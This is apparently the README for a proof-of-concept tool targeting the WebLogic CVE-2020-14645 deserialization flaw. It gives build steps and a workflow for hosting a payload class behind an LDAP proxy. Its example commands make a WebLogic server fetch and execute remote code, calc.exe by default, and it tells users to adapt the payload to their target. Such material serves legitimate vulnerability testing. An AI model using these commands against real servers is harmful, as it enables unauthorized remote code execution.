Weblogic CVE-2020-14645 coherence Deserialization Vulnerability Verification Program

Environment

• Maven 3

• JDK 1.8

Compilation

mvn package

Usage

Specific testing steps:

1. Write the POC
2. Compile the POC into a class file
3. Start a static site to host the compiled POC
4. Start an LDAP proxy to forward the test target's requests to fetch the POC
5. Execute the test program

Since this vulnerability is similar to the Apache Dubbo vulnerability, please refer to that vulnerability to implement steps 1-4.

Test Program Execution

java -jar target/CVE-2020-14645.jar LDAP_IP:LDAP_PORT/#CLASS_NAME WEBLOGIC_URL

# Example
java -jar target/CVE-2020-14645.jar 1.1.1.1:8080/#exp http://127.0.0.1:7001
java -jar target/CVE-2020-14645.jar 1.1.1.1:8080/#exp https://127.0.0.1:7002

If the POC provided in this example is used, the target under test will execute calc.exe after a successful exploit. Please modify the POC yourself according to the test target environment.

Acknowledgements

This project references and uses part of the code from the projects @Y4er and @5up3rc. Special thanks!

References

https://github.com/Y4er/CVE-2020-14645

https://github.com/5up3rc/weblogic_cmd